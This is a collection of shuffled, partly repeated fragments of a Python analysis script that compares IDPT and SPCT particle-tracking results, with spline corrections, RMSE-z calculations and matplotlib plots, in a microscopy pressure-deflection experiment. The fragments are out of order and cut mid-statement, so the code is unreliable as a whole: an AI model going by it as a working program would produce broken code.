"'/idpt-calib-coords_fit-plane_raw.png') plt.close() dfict_fit_plane = pd.DataFrame.from_dict(dictc_fit_plane, orient='index', columns=['value']) dfict_fit_plane.to_excel(path_figs + '/idpt-calib-coords_fit-plane_raw.xlsx') # step 4.",
"= plt.subplots(nrows=2, sharex=True, gridspec_kw={'height_ratios': [1, 2]}) axr.plot(dftm.z_true, dftm.cm, '-o', ms=ms - 1, color=sciblue)",
"if save_plots: plt.savefig(path_figs + '/compare-idpt-spct_num-particles_and_cm.png') if show_plots: plt.show() plt.close() # ---------------------------------------------------------------------------------------------------------------------- # 6.",
"plt.savefig(path_figs + '/compare-on-edge-off-bpe_rmse-z_microns_cm.png') if show_plots: plt.show() plt.close() # ---------------------------------------------------------------------------------------------------------------------- # 5. IDPT VS.",
"note on SciencePlots colors \"\"\" Blue: #0C5DA5 Green: #00B945 Red: #FF9500 Orange: #FF2C00",
"plt.savefig(path_figs + '/compare-on-edge-off-bpe_rmse-z_microns.png') if show_plots: plt.show() plt.close() # rmse-z (microns) + c_m darken_clr",
"plt.close() dfict_fit_plane = pd.DataFrame.from_dict(dictc_fit_plane, orient='index', columns=['value']) dfict_fit_plane.to_excel(path_figs + '/calibration-coords_fit-plane_raw.xlsx') # FIT SMOOTH 2D",
"show_plots = False if analyze_test_coords: # read test coords dft = io.read_test_coords(path_test_coords) #",
"dfs_off = pd.read_excel('/Users/mackenzie/Desktop/gdpyt-characterization/experiments/11.02.21-BPE_Pressure_Deflection_20X/analyses/results-04.26.22_spct_calib1_test-2-3/coords/test-coords/test_coords_t-calib2_c-calib1.xlsx') dfs_on = pd.read_excel('/Users/mackenzie/Desktop/gdpyt-characterization/experiments/11.02.21-BPE_Pressure_Deflection_20X/analyses/results-04.26.22_spct_stack-id-on-bpe/testcalib2_calcalib1/test_coords_t_20X_ccalib1_tcalib2_c_20X_tcalib2_ccalib1_2022-04-26 20:45:34.334931.xlsx') # 2.2 correct z by mean",
"dft.rename(columns={'z_corr': 'z', 'z_true_corr': 'z_true'}) # --- rmse_all_particles = False rmse_on_off_bpe = False rmse_compare",
"---------------------------------------------------------------------------------------------------------------------- # 1. SETUP - BASE DIRECTORY base_dir = '/Users/mackenzie/Desktop/gdpyt-characterization/experiments/11.02.21-BPE_Pressure_Deflection_20X/analyses/' # ---------------------------------------------------------------------------------------------------------------------- #",
"# --- PART A. READ COORDS USED FOR IDPT CALIBRATION (i.e. 'calib1') merge_spct_stats",
"2) & (dfcpid[param_zf] < zf_c_mean + zf_c_std / 2)] # step 3. fit",
"= False save_plots = False show_plots = False if analyze_test_coords: # read test",
"*popt) - dfrmse.z) ** 2) / len(dfrmse.z)) print(rmse_fit_line) # binned calibration curve with",
"[-30, -15, 0, 15, 30] lbls = ['On', 'Border', 'Off'] markers = ['s',",
"dfbx[dfbx['bin'] == bins_x[2]] # --- plotting # --- STEP 1. PLOT CALIBRATION CURVE",
"plt.subplots() ax.scatter(df_off.z_true, df_off.z, s=ss, marker=markers[2], color=sciblue, label=lbls[2]) ax.scatter(df_on.z_true, df_on.z, s=ss, marker=markers[0], color=sciorange, label=lbls[0])",
"RMSE-Z PLOTS # rmse-z: microns fig, ax = plt.subplots() ax.plot(dfrmse.index, dfrmse.rmse_z, '-o') ax.set_xlabel(r'$z_{true}",
"False if plot_average_particle_similarity: # setup save_plots = True xylim = 37.25 xyticks =",
"plot_calib_spline = False kx, ky = 2, 2 # step 1. read calibration",
"# 2.1 get z_in-focus mean + standard deviation zf_c_mean = dfcpid[param_zf].mean() zf_c_std =",
"size_y_inches = fig.get_size_inches() plt.close(fig) # ---------------------------------------------------------------------------------------------------------------------- # 1. SETUP - BASE DIRECTORY base_dir",
"False plot_calib_spline = False kx, ky = 2, 2 # step 1. read",
"# ----------------------- BASIC RMSE-Z PLOTS # rmse-z: microns fig, ax = plt.subplots() ax.plot(df3.bin,",
"'#FF9500' sciorange = '#FF2C00' plt.style.use(['science', 'ieee', 'std-colors']) fig, ax = plt.subplots() size_x_inches, size_y_inches",
"STEP 2. FOR EACH DATAFRAME (ON, EDGE, OFF), COMPUTE RMSE-Z AND PLOT for",
"orient='index', columns=['value']) dfict_fit_plane.to_excel(path_figs + '/idpt-calib-coords_fit-plane_raw.xlsx') # step 4. FIT SMOOTH 2D SPLINE AND",
"'-o', ms=ms, label=lbls[0], color=sciorange) ax.set_xlabel(r'$z_{true} \\: (\\mu m)$') ax.set_xlim([-xylim, xylim]) ax.set_xticks(ticks=xyticks, labels=xyticks) ax.set_ylabel(r'$\\sigma_{z}",
"ax.set_ylabel(r'$\\sigma_{z} \\: (\\mu m)$') plt.tight_layout() if save_plots: plt.savefig(path_figs + '/rmse-z_microns.png') if show_plots: plt.show()",
"were acquired with the intention of making the z-coords identical for all calibration",
"RMSE = {}'.format(np.round(rmse_c, 3))) plt.savefig(path_figs + '/idpt-calib-coords_fit-spline_kx{}_ky{}.png'.format(kx, ky)) plt.close() # step 5. read",
"ky)) plt.close() # ---------------------------------------------------------------------------------------------------------------------- # 4. PLOT TEST COORDS RMSE-Z analyze_test_coords = False",
"dftc = dftc[(dftc['z_true'] > -zlim) & (dftc['z_true'] < zlim)] dfs_offc = dfs_offc[(dfs_offc['z_true'] >",
"os import listdir import matplotlib.pyplot as plt # imports import numpy as np",
"step 3. fit plane dictc_fit_plane = correct.fit_in_focus_plane(df=dfcpid, param_zf=param_zf, microns_per_pixel=microns_per_pixel) popt_c = dictc_fit_plane['popt_pixels'] if",
"B. READ COORDS USED FOR IDPT TEST (i.e. 'calib2') # step 1. merge",
"axr.plot(dfs_onm.z_true, dfs_onm.cm, '-o', ms=ms - 1, color=lighten_color(scigreen, 1.2)) axr.set_ylabel(r'$c_{m}$') axr.set_ylim([0.790, 1.01]) axr.set_yticks([0.8, 0.9,",
"plt.style.use(['science', 'ieee', 'std-colors']) fig, ax = plt.subplots() size_x_inches, size_y_inches = fig.get_size_inches() plt.close(fig) #",
"dfs_offc = dfs_offc[(dfs_offc['z_true'] > -zlim) & (dfs_offc['z_true'] < zlim)] dfs_onc = dfs_onc[(dfs_onc['z_true'] >",
"zf_c_mean - zf_c_std) & (dfcpid[param_zf] < zf_c_mean + zf_c_std)] # step 3. fit",
"'/mean-rmse-z_bin=1_no-filters.xlsx') # 1.2 binned rmse-z dfrmse = bin.bin_local_rmse_z(dft, column_to_bin=column_to_bin, bins=bins_z, min_cm=min_cm, z_range=None, round_to_decimal=round_z_to_decimal,",
"show_plots: # close all figs plt.close('all') # ----------------------- BASIC RMSE-Z PLOTS # rmse-z:",
"PER-FRAME plot_average_particle_similarity = False if plot_average_particle_similarity: # setup save_plots = True xylim =",
"len(dft) i_num_pids = len(dft.id.unique()) dft = dft.drop(columns=['z', 'z_true']) dft = dft.rename(columns={'z_corr': 'z', 'z_true_corr':",
"pd.read_excel(path_calib_spct_stats) dfcpid = modify.merge_calib_pid_defocus_and_correction_coords(path_calib_coords, method, dfs=[dfcstats, dfcpid]) else: # read SPCT pid defocus",
"= 37.25 xyticks = [-30, -15, 0, 15, 30] lbls = ['On', 'Border',",
"# read dataframe fp = join(base_dir, 'average-particle-similarity/' 'average_similarity_SPCT_11.02.21-BPE_Pressure_Deflection_20X_c-calib1_t-calib2.xlsx') dfsim = pd.read_excel(fp) # plot",
"= plt.subplots() ax.scatter(df_off.z_true, df_off.z, s=ss, marker=markers[2], color=sciblue, label=lbls[2]) ax.scatter(df_on.z_true, df_on.z, s=ss, marker=markers[0], color=sciorange,",
"= ['s', 'd', 'o'] if rmse_all_particles: # --- STEP 1. CALCULATE RMSE-Z FOR",
"read test_coords dft = io.read_test_coords(path_test_coords) # step 6. drop unnecessary columns in dft",
"2.2 filter calibration coords dfcpid = dfcpid[(dfcpid[param_zf] > zf_c_mean - zf_c_std) & (dfcpid[param_zf]",
"False if analyze_test_coords: # read test coords dft = io.read_test_coords(path_test_coords) # test coords",
"# binned calibration curve with std-z errorbars (microns) + fit line fig, ax",
"matplotlib.pyplot as plt # imports import numpy as np import pandas as pd",
"'-o', ms=ms, color=sciblue, label=r'$IDPT$') ax.plot(dfs_offc.z_true, dfs_offc.z, '-o', ms=ms, color=lighten_color(scigreen, 1.0), label=r'$SPCT_{Low}$') ax.plot(dfs_onc.z_true, dfs_onc.z,",
"'x' bins_x = [145, 175, 205] round_x_to_decimal = 0 dfbx = bin.bin_by_list(dft, column_to_bin=column_to_bin,",
"= np.sqrt(np.sum((functions.line(dfrmse.z_true, *popt) - dfrmse.z) ** 2) / len(dfrmse.z)) print(rmse_fit_line) # binned calibration",
"(dfs_onc['z_true'] < zlim)] # --- # --- plotting # format plots xylim =",
"STEP 0. SPLIT DATAFRAME INTO (1) OFF BPE and (2) OFF BPE. column_to_bin",
"color=sciblue, label=r'$IDPT$') ax.plot(dfs_offc.z_true, dfs_offc.z, '-o', ms=ms, color=lighten_color(scigreen, 1.0), label=r'$SPCT_{Low}$') ax.plot(dfs_onc.z_true, dfs_onc.z, '-o', ms=ms,",
"min_cm=min_cm, z_range=None, round_to_decimal=round_z_to_decimal, df_ground_truth=None, dropna=True, error_column='error', ) dfrmse_mean.to_excel(path_results + '/mean-rmse-z_bin=1_no-filters.xlsx') # 1.2 binned",
"# test coords stats mag_eff = 20.0 area_pixels = 512 ** 2 area_microns",
"#FF2C00 Other Colors: Light Blue: #7BC8F6 Paler Blue: #0343DF Azure: #069AF3 Dark Green:",
"Z_TRUE fig, ax = plt.subplots() ax.plot(dftc.z_true, dftc.z, '-o', ms=ms, color=sciblue, label=r'$IDPT$') ax.plot(dfs_offc.z_true, dfs_offc.z,",
"axr.plot(df1.bin, df1.cm, '-', ms=ms-2, marker=markers[0], color=sciorange) axr.set_ylabel(r'$c_{m}$') ax.plot(df3.bin, df3.rmse_z, '-', ms=ms-0.75, marker=markers[2], color=sciblue,",
"= False use_spct_zf = False # ------------------------------------------------------------------------------------------------------------------ if use_idpt_zf: \"\"\" NOTE: This correction",
"plt.close() dfict_fit_plane = pd.DataFrame.from_dict(dictc_fit_plane, orient='index', columns=['value']) dfict_fit_plane.to_excel(path_figs + '/idpt-calib-coords_fit-plane_raw.xlsx') # step 4. FIT",
"axr.plot(dfs_offm.z_true, dfs_offm.cm, '-o', ms=ms - 1, color=lighten_color(scigreen, 1.0)) axr.plot(dfs_onm.z_true, dfs_onm.cm, '-o', ms=ms -",
"= {}'.format(np.round(rmse_c, 3))) plt.savefig(path_figs + '/idpt-calib-coords_fit-spline_kx{}_ky{}.png'.format(kx, ky)) plt.close() # step 5. read test_coords",
"fig = plotting.plot_fitted_plane_and_points(df=dfcpid, dict_fit_plane=dictc_fit_plane) plt.savefig(path_figs + '/calibration-coords_fit-plane_raw.png') plt.close() dfict_fit_plane = pd.DataFrame.from_dict(dictc_fit_plane, orient='index', columns=['value'])",
"< zlim)] dfs_onc = dfs_onc[(dfs_onc['z_true'] > -zlim) & (dfs_onc['z_true'] < zlim)] # ---",
"rmse-z if save_plots or show_plots: ms = 4 # ----------------------- BASIC RMSE-Z PLOTS",
"(NO CORRECTION) bispl_c, rmse_c = fit.fit_3d_spline(x=dfcpid.x, y=dfcpid.y, z=dfcpid[param_zf], kx=kx, ky=ky) fig, ax =",
"= dfs_onm[(dfs_onm['z_true'] > -zlim) & (dfs_onm['z_true'] < zlim)] # plot fig, [axr, ax]",
"# --- # --- plotting # format plots xylim = 37.25 xyticks =",
"SPCT pid defocus stats that have already been merged path_calib_pid_defocus = join(path_calib_coords, 'calib_spct_pid_defocus_stats_calib1_xy.xlsx')",
"#7BC8F6 Paler Blue: #0343DF Azure: #069AF3 Dark Green: #054907 \"\"\" sciblue = '#0C5DA5'",
"'o'] if rmse_all_particles: # --- STEP 1. CALCULATE RMSE-Z FOR ALL PARTICLES column_to_bin",
"# read test coords dft = io.read_test_coords(path_test_coords) # test coords stats mag_eff =",
"'/rmse-z_microns.png') if show_plots: plt.show() plt.close() # ----------------------- Z-MEAN +/- Z-STD PLOTS # fit",
"m)$') ax.set_xlim([-xylim, xylim]) ax.set_xticks(xyticks) ax.set_ylabel(r'$N_{p} \\: (\\#)$') ax.set_ylim([0, 200]) ax.legend() plt.tight_layout() if save_plots:",
"- COMPARE NUMBER OF PARTICLES PER Z compare_idpt_spct = False save_plots = False",
"READ COORDS USED FOR IDPT CALIBRATION (i.e. 'calib1') merge_spct_stats = True param_zf =",
"labels=xyticks) ax.set_ylabel(r'$z \\: (\\mu m)$') ax.set_ylim([-xylim, xylim]) ax.set_yticks(ticks=xyticks, labels=xyticks) ax.legend(loc='lower right', markerscale=2.5) plt.tight_layout()",
"# 1.2 binned rmse-z dfrmse = bin.bin_local_rmse_z(dft, column_to_bin=column_to_bin, bins=bins_z, min_cm=min_cm, z_range=None, round_to_decimal=round_z_to_decimal, df_ground_truth=None,",
"ax = plt.subplots() ax.plot(dfrmse.index, dfrmse.rmse_z, '-o') ax.set_xlabel(r'$z_{true} \\: (\\mu m)$') ax.set_xlim([-xylim, xylim]) ax.set_xticks(ticks=xyticks,",
"aligned enough in both calibration image sets to just ignore. This is not",
"= join(path_spct_calib_coords, 'calib_spct_pop_defocus_stats_c-calib1_t-calib2.xlsx') # SPCT analysis of images used for IDPT test path_spct_test_coords",
"colors \"\"\" Blue: #0C5DA5 Green: #00B945 Red: #FF9500 Orange: #FF2C00 Other Colors: Light",
"ax.plot(dfrmse.index, dfrmse.rmse_z, '-o') ax.set_xlabel(r'$z_{true} \\: (\\mu m)$') ax.set_xlim([-xylim, xylim]) ax.set_xticks(ticks=xyticks, labels=xyticks) ax.set_ylabel(r'$\\sigma_{z} \\:",
"+ '/calibration-coords_fit-plane_raw.xlsx') # FIT SMOOTH 2D SPLINE AND PLOT RAW POINTS + FITTED",
"# 4. PLOT TEST COORDS RMSE-Z analyze_test_coords = False save_plots = False show_plots",
"label=lbls[0]) ax.set_xlabel(r'$z_{true} \\: (\\mu m)$') ax.set_xlim([-xylim, xylim]) ax.set_xticks(ticks=xyticks, labels=xyticks) ax.set_ylabel(r'$\\sigma_{z} \\: (\\mu m)$')",
"join(path_idpt, 'results') path_figs = join(path_idpt, 'figs') # ---------------------------------------------------------------------------------------------------------------------- # ---------------------------------------------------------------------------------------------------------------------- # 3. ANALYSIS",
"dfcpid[(dfcpid[param_zf] > zf_c_mean - zf_c_std / 2) & (dfcpid[param_zf] < zf_c_mean + zf_c_std",
"show_plots: plt.show() plt.close() # rmse-z (microns) + c_m darken_clr = 1.0 alpha_clr =",
"+ zf_c_std / 2)] # step 3. fit plane dictc_fit_plane = correct.fit_in_focus_plane(df=dfcpid, param_zf=param_zf,",
"dftg.round({'z_true': 0}) dftc = dftg.groupby('z_true').count().reset_index() dfs_offc = dfs_off.groupby('z_true').count().reset_index() dfs_onc = dfs_on.groupby('z_true').count().reset_index() # filter",
"SPCT pid defocus stats that have already been merged path_calib_pid_defocus = join(path_calib_coords, 'calib_spct_pid_defocus_stats_calib2_xy.xlsx')",
"> -zlim) & (dfs_onc['z_true'] < zlim)] # --- # --- plotting # format",
"and merge ['x', 'y'] into pid_defocus_stats dfcpid = pd.read_excel(path_test_pid_defocus) dfcstats = pd.read_excel(path_test_spct_stats) dfcpid",
"# --- 1. IDPT # read IDPT test coords dft = io.read_test_coords(path_test_coords) #",
"RAW POINTS + FITTED SURFACE (NO CORRECTION) bispl_c, rmse_c = fit.fit_3d_spline(x=dfcpid.x, y=dfcpid.y, z=dfcpid[param_zf],",
"plot_test_plane = True kx, ky = 2, 2 # step 1. merge [['x',",
"# FIT SMOOTH 2D SPLINE AND PLOT RAW POINTS + FITTED SURFACE (NO",
"3. ANALYSIS - READ FILES method = 'idpt' microns_per_pixel = 0.8 # -----",
"zf_c_std / 2) & (dfcpid[param_zf] < zf_c_mean + zf_c_std / 2)] # step",
"[axr, ax] = plt.subplots(nrows=2, sharex=True, gridspec_kw={'height_ratios': [1, 2]}) axr.plot(df3.bin, df3.cm, '-', ms=ms-2, marker=markers[2],",
"zf_c_mean - zf_c_std / 2) & (dfcpid[param_zf] < zf_c_mean + zf_c_std / 2)]",
"functions.line(z_fit, *popt), linestyle='--', linewidth=1.5, color='black', alpha=0.25, label=r'$dz/dz_{true} = $' + ' {}'.format(np.round(popt[0], 3)))",
"round_to_decimal=round_x_to_decimal, ) df_on = dfbx[dfbx['bin'] == bins_x[0]] df_edge = dfbx[dfbx['bin'] == bins_x[1]] df_off",
"peak_intensity z_f_mean = 35.1 dfs_off['z'] = dfs_off['z'] - z_f_mean dfs_off['z_true'] = dfs_off['z_true'] -",
"- z_f_mean dfs_off['z_true'] = dfs_off['z_true'] - z_f_mean dfs_on['z'] = dfs_on['z'] - z_f_mean dfs_on['z_true']",
"'z_true']) dft = dft.rename(columns={'z_corr': 'z', 'z_true_corr': 'z_true'}) # --- rmse_all_particles = False rmse_on_off_bpe",
"ax.set_xlim([-xylim, xylim]) ax.set_xticks(ticks=xyticks, labels=xyticks) ax.set_ylabel(r'$\\sigma_{z} \\: (\\mu m)$') plt.tight_layout() if save_plots: plt.savefig(path_figs +",
"merge [['x', 'y']] into spct pid defocus stats. if merge_spct_stats: # read SPCT",
"markers = ['s', 'd', 'o'] if rmse_all_particles: # --- STEP 1. CALCULATE RMSE-Z",
"color=sciorange, label=lbls[0]) ax.set_xlabel(r'$z_{true} \\: (\\mu m)$') ax.set_xlim([-xylim, xylim]) ax.set_xticks(ticks=xyticks, labels=xyticks) ax.set_ylabel(r'$\\sigma_{z} \\: (\\mu",
"rmse-z if save_plots or show_plots: # close all figs plt.close('all') # ----------------------- BASIC",
"= pd.DataFrame.from_dict(dictc_fit_plane, orient='index', columns=['value']) dfict_fit_plane.to_excel(path_figs + '/idpt-calib-coords_fit-plane_raw.xlsx') # step 4. FIT SMOOTH 2D",
"- z_f_mean # --- 3. GROUPBY Z_TRUE dftg = dft.copy() dftg = dftg.round({'z_true':",
"path_test_spct_stats = join(path_spct_test_coords, 'calib_spct_stats_c-calib2_t-calib3.xlsx') path_test_spct_pop = join(path_spct_test_coords, 'calib_spct_pop_defocus_stats_c-calib2_t-calib3.xlsx') # -------------------------------------------------------------------------------------------------------------- # --- PART",
"'/test-coords_fit-plane_raw.xlsx') # FIT SMOOTH 2D SPLINE AND PLOT RAW POINTS + FITTED SURFACE",
"binned rmse-z if save_plots or show_plots: # close all figs plt.close('all') # -----------------------",
"'z_true'}) # --- rmse_all_particles = False rmse_on_off_bpe = False rmse_compare = False #",
"1. PLOT CALIBRATION CURVE (Z VS. Z_TRUE) FOR EACH DATAFRAME (ON, EDGE, OFF)",
"= 'idpt' microns_per_pixel = 0.8 # ----- 4.1 CORRECT TEST COORDS correct_test_coords =",
"plt.savefig(path_figs + '/calibration-coords_fit-spline_kx{}_ky{}.png'.format(kx, ky)) plt.close() # --- # --- PART B. READ COORDS",
"xylim]) ax.set_yticks(ticks=xyticks, labels=xyticks) ax.legend(loc='lower right', handletextpad=0.25, borderaxespad=0.3) plt.tight_layout() if save_plots: plt.savefig(path_figs + '/{}_calibration_curve_z+std-errobars_fit_line_a{}_b{}_slope-label-blk.png'.format(",
"by mean z_f from peak_intensity z_f_mean = 35.1 dfs_off['z'] = dfs_off['z'] - z_f_mean",
"read SPCT pid defocus stats that have already been merged path_calib_pid_defocus = join(path_calib_coords,",
"--- # --- plotting # format plots xylim = 37.25 xyticks = [-30,",
"zlim)] dfs_onc = dfs_onc[(dfs_onc['z_true'] > -zlim) & (dfs_onc['z_true'] < zlim)] # --- #",
"'/idpt-calib-coords_fit-spline_kx{}_ky{}.png'.format(kx, ky)) plt.close() # step 5. read test_coords dft = io.read_test_coords(path_test_coords) # step",
"error_column='error', ) dfrmse.to_excel(path_results + '/{}_binned-rmse-z_bins={}_no-filters.xlsx'.format(lbl, bins_z)) # 1.3 groupby 'bin' rmse-z mean +",
"# step 1. merge [['x', 'y']] into spct pid defocus stats. if merge_spct_stats:",
"(\\mu m)$') plt.suptitle('fit RMSE = {}'.format(np.round(rmse_c, 3))) plt.savefig(path_figs + '/calibration-coords_fit-spline_kx{}_ky{}.png'.format(kx, ky)) plt.close() #",
"PARTICLES PER Z_TRUE fig, ax = plt.subplots() ax.plot(dftc.z_true, dftc.z, '-o', ms=ms, color=sciblue, label=r'$IDPT$')",
"dropna=True, error_column='error', ) dfrmse.to_excel(path_results + '/{}_binned-rmse-z_bins={}_no-filters.xlsx'.format(lbl, bins_z)) # 1.3 groupby 'bin' rmse-z mean",
"= [145, 175, 205] round_x_to_decimal = 0 dfbx = bin.bin_by_list(dft, column_to_bin=column_to_bin, bins=bins_x, round_to_decimal=round_x_to_decimal,",
"dftg.groupby('z_true').mean().reset_index() dfs_offm = dfs_off.groupby('z_true').mean().reset_index() dfs_onm = dfs_on.groupby('z_true').mean().reset_index() # filter z_true for pretty plotting",
"path_calib_coords = join(path_idpt, 'coords/calib-coords') path_similarity = join(path_idpt, 'similarity') path_results = join(path_idpt, 'results') path_figs",
"filter calibration coords dfcpid = dfcpid[(dfcpid[param_zf] > zf_c_mean - zf_c_std) & (dfcpid[param_zf] <",
"marker=markers[0], color=sciorange, label=lbls[0]) ax.set_xlabel(r'$z_{true} \\: (\\mu m)$') ax.set_xlim([-xylim, xylim]) ax.set_xticks(ticks=xyticks, labels=xyticks) ax.set_ylabel(r'$\\sigma_{z} \\:",
"of making the z-coords identical for all calibration image sets (by using the",
"= dfcpid[(dfcpid[param_zf] > zf_c_mean - zf_c_std) & (dfcpid[param_zf] < zf_c_mean + zf_c_std)] #",
"PART A. READ COORDS USED FOR IDPT CALIBRATION (i.e. 'calib1') merge_spct_stats = True",
"+ '/binned-rmse-z_bins={}_no-filters.xlsx'.format(bins_z)) # 1.3 groupby 'bin' rmse-z mean + std dfrmsem, dfrmsestd =",
"< zlim)] # --- # --- plotting # format plots xylim = 37.25",
"s=ss, marker=markers[2], color=sciblue, label=lbls[2]) ax.scatter(df_on.z_true, df_on.z, s=ss, marker=markers[0], color=sciorange, label=lbls[0]) ax.scatter(df_edge.z_true, df_edge.z, s=ss,",
"dftm.cm, '-o', ms=ms - 1, color=sciblue) axr.plot(dfs_offm.z_true, dfs_offm.cm, '-o', ms=ms - 1, color=lighten_color(scigreen,",
"plot_calib_plane = False plot_calib_spline = False kx, ky = 2, 2 # step",
"plots xylim = 37.25 xyticks = [-30, -15, 0, 15, 30] ms =",
"- dfrmse.z)**2) / len(dfrmse.z)) print(rmse_fit_line) # binned calibration curve with std-z errorbars (microns)",
"= join(path_spct_test_coords, 'calib_spct_pid_defocus_stats_c-calib2_t-calib3.xlsx') path_test_spct_stats = join(path_spct_test_coords, 'calib_spct_stats_c-calib2_t-calib3.xlsx') path_test_spct_pop = join(path_spct_test_coords, 'calib_spct_pop_defocus_stats_c-calib2_t-calib3.xlsx') # --------------------------------------------------------------------------------------------------------------",
"+ FITTED SURFACE (NO CORRECTION) bispl_c, rmse_c = fit.fit_3d_spline(x=dfcpid.x, y=dfcpid.y, z=dfcpid[param_zf], kx=kx, ky=ky)",
"= dfcpid[param_zf].std() # 2.2 filter calibration coords dfcpid = dfcpid[(dfcpid[param_zf] > zf_c_mean -",
"from utils.plotting import lighten_color # A note on SciencePlots colors \"\"\" Blue: #0C5DA5",
"join(path_idpt, 'figs') # ---------------------------------------------------------------------------------------------------------------------- # ---------------------------------------------------------------------------------------------------------------------- # 3. ANALYSIS - READ FILES method",
"= correct.correct_z_by_spline(dft, bispl=bispl_c, param_z='z') dft['z_true_corr'] = dft['z_true'] - dft['z_cal_surf'] # step 8. export",
"df_edge = dfbx[dfbx['bin'] == bins_x[1]] df_off = dfbx[dfbx['bin'] == bins_x[2]] # --- plotting",
"xylim]) ax.set_xticks(xyticks) ax.set_ylabel(r'$N_{p} \\: (\\#)$') ax.set_ylim([0, 200]) ax.legend() plt.tight_layout() if save_plots: plt.savefig(path_figs +",
"# 6. AVERAGE PARTICLE-TO-PARTICLE SIMILARITY PER-FRAME plot_average_particle_similarity = False if plot_average_particle_similarity: # setup",
"plt.savefig(path_figs + '/calibration-coords_fit-plane_raw.png') plt.close() dfict_fit_plane = pd.DataFrame.from_dict(dictc_fit_plane, orient='index', columns=['value']) dfict_fit_plane.to_excel(path_figs + '/calibration-coords_fit-plane_raw.xlsx') #",
"= fit.fit_3d_spline(x=dfcpid.x, y=dfcpid.y, z=dfcpid[param_zf], kx=kx, ky=ky) fig, ax = plotting.scatter_3d_and_spline(dfcpid.x, dfcpid.y, dfcpid[param_zf], bispl_c,",
"xyticks = [-30, -15, 0, 15, 30] ms = 3 # FIGURE 1.",
"plotting, modify, plot_collections from utils.plotting import lighten_color # A note on SciencePlots colors",
"plt.suptitle('fit RMSE = {}'.format(np.round(rmse_c, 3))) plt.savefig(path_figs + '/idpt-calib-coords_fit-spline_kx{}_ky{}.png'.format(kx, ky)) plt.close() # step 5.",
"dfs_onm[(dfs_onm['z_true'] > -zlim) & (dfs_onm['z_true'] < zlim)] # plot fig, [axr, ax] =",
"COORDS correct_test_coords = False if correct_test_coords: use_idpt_zf = False use_spct_zf = False #",
"knob during image acquisition). \"\"\" # -------------------------------------------------------------------------------------------------------------- # SETUP - SPCT CALIBRATION IN-FOCUS",
"FOR IDPT CALIBRATION (i.e. 'calib1') merge_spct_stats = True param_zf = 'zf_from_peak_int' plot_calib_plane =",
"plt.show() plt.close() # ---------------------------------------------------------------------------------------------------------------------- # 6. AVERAGE PARTICLE-TO-PARTICLE SIMILARITY PER-FRAME plot_average_particle_similarity = False",
"scheme fits a 2D spline to the in-focus particle positions and uses this",
"into spct pid defocus stats. if merge_spct_stats: # read SPCT calibration coords and",
"pid defocus stats that have already been merged path_calib_pid_defocus = join(path_calib_coords, 'calib_spct_pid_defocus_stats_calib1_xy.xlsx') dfcpid",
"necessarily surprising because the calibration images were acquired with the intention of making",
"the intention of making the z-coords identical for all calibration image sets (by",
"plt.suptitle('fit RMSE = {}'.format(np.round(rmse_c, 3))) plt.savefig(path_figs + '/test-coords_fit-spline_kx{}_ky{}.png'.format(kx, ky)) plt.close() # ---------------------------------------------------------------------------------------------------------------------- #",
"dfs_onm = dfs_on.groupby('z_true').mean().reset_index() # filter z_true for pretty plotting dftm = dftm[(dftm['z_true'] >",
"labels=xyticks) ax.set_ylabel(r'$\\sigma_{z} \\: (\\mu m)$') plt.tight_layout() if save_plots: plt.savefig(path_figs + '/rmse-z_microns.png') if show_plots:",
"----------------------- Z-MEAN +/- Z-STD PLOTS # fit line popt, pcov = curve_fit(functions.line, dfrmse.z_true,",
"100, 150]) ax.legend() plt.tight_layout() if save_plots: plt.savefig(path_figs + '/compare-idpt-spct_num-particles_and_cm.png') if show_plots: plt.show() plt.close()",
"z_f = 0 position. \"\"\" param_zf = 'zf_from_peak_int' plot_calib_plane = False plot_calib_spline =",
"plot binned rmse-z if save_plots or show_plots: # close all figs plt.close('all') #",
"FITTED SURFACE (NO CORRECTION) bispl_c, rmse_c = fit.fit_3d_spline(x=dfcpid.x, y=dfcpid.y, z=dfcpid[param_zf], kx=kx, ky=ky) fig,",
"= dictc_fit_plane['popt_pixels'] if plot_calib_plane: fig = plotting.plot_fitted_plane_and_points(df=dfcpid, dict_fit_plane=dictc_fit_plane) plt.savefig(path_figs + '/calibration-coords_fit-plane_raw.png') plt.close() dfict_fit_plane",
"step 7. create a z_corr column by using fitted spline to correct z",
"if save_plots: plt.savefig(path_figs + '/{}_calibration_curve_z+std-errobars_fit_line_a{}_b{}_slope-label-blk.png'.format( lbl, np.round(popt[0], 3), np.round(popt[1], 3)) ) if show_plots:",
"+ zf_c_std / 2)] dfcpid = dfcpid[dfcpid['x'] > 120] # step 3. fit",
"the z-coords identical for all calibration image sets (by using the same beginning",
"kx=kx, ky=ky) fig, ax = plotting.scatter_3d_and_spline(dfcpid.x, dfcpid.y, dfcpid[param_zf], bispl_c, cmap='RdBu', grid_resolution=30, view='multi') ax.set_xlabel('x",
"df_edge, df_off]): # --- STEP 1. CALCULATE RMSE-Z FOR ALL PARTICLES column_to_bin =",
"'cm', 'error']] # step 7. create a z_corr column by using fitted spline",
"np.round(popt[1], 3)) ) if show_plots: plt.show() plt.close() if rmse_compare: # 1. read binned",
"if plot_average_particle_similarity: # setup save_plots = True xylim = 37.25 xyticks = [-30,",
"join(path_idpt, 'coords/test-coords') path_calib_coords = join(path_idpt, 'coords/calib-coords') path_similarity = join(path_idpt, 'similarity') path_results = join(path_idpt,",
"bispl_c, rmse_c = fit.fit_3d_spline(x=dfcpid.x, y=dfcpid.y, z=dfcpid[param_zf], kx=kx, ky=ky) if plot_calib_spline: fig, ax =",
"< zf_c_mean + zf_c_std / 2)] dfcpid = dfcpid[dfcpid['x'] > 120] # step",
"path_spct_calib_coords = join(base_dir, 'results-04.26.22_spct_calib1_test-2-3/coords/calib-coords') path_calib_pid_defocus = join(path_spct_calib_coords, 'calib_spct_pid_defocus_stats_c-calib1_t-calib2.xlsx') path_calib_spct_stats = join(path_spct_calib_coords, 'calib_spct_stats_c-calib1_t-calib2.xlsx') path_calib_spct_pop",
"zf_c_std) & (dfcpid[param_zf] < zf_c_mean + zf_c_std)] # step 3. fit plane dictc_fit_plane",
"ms = 3 # read dataframe fp = join(base_dir, 'average-particle-similarity/' 'average_similarity_SPCT_11.02.21-BPE_Pressure_Deflection_20X_c-calib1_t-calib2.xlsx') dfsim =",
"= bin.bin_local_rmse_z(dft, column_to_bin=column_to_bin, bins=bins_z, min_cm=min_cm, z_range=None, round_to_decimal=round_z_to_decimal, df_ground_truth=None, dropna=True, error_column='error', ) dfrmse.to_excel(path_results +",
"3 # read dataframe fp = join(base_dir, 'average-particle-similarity/' 'average_similarity_SPCT_11.02.21-BPE_Pressure_Deflection_20X_c-calib1_t-calib2.xlsx') dfsim = pd.read_excel(fp) #",
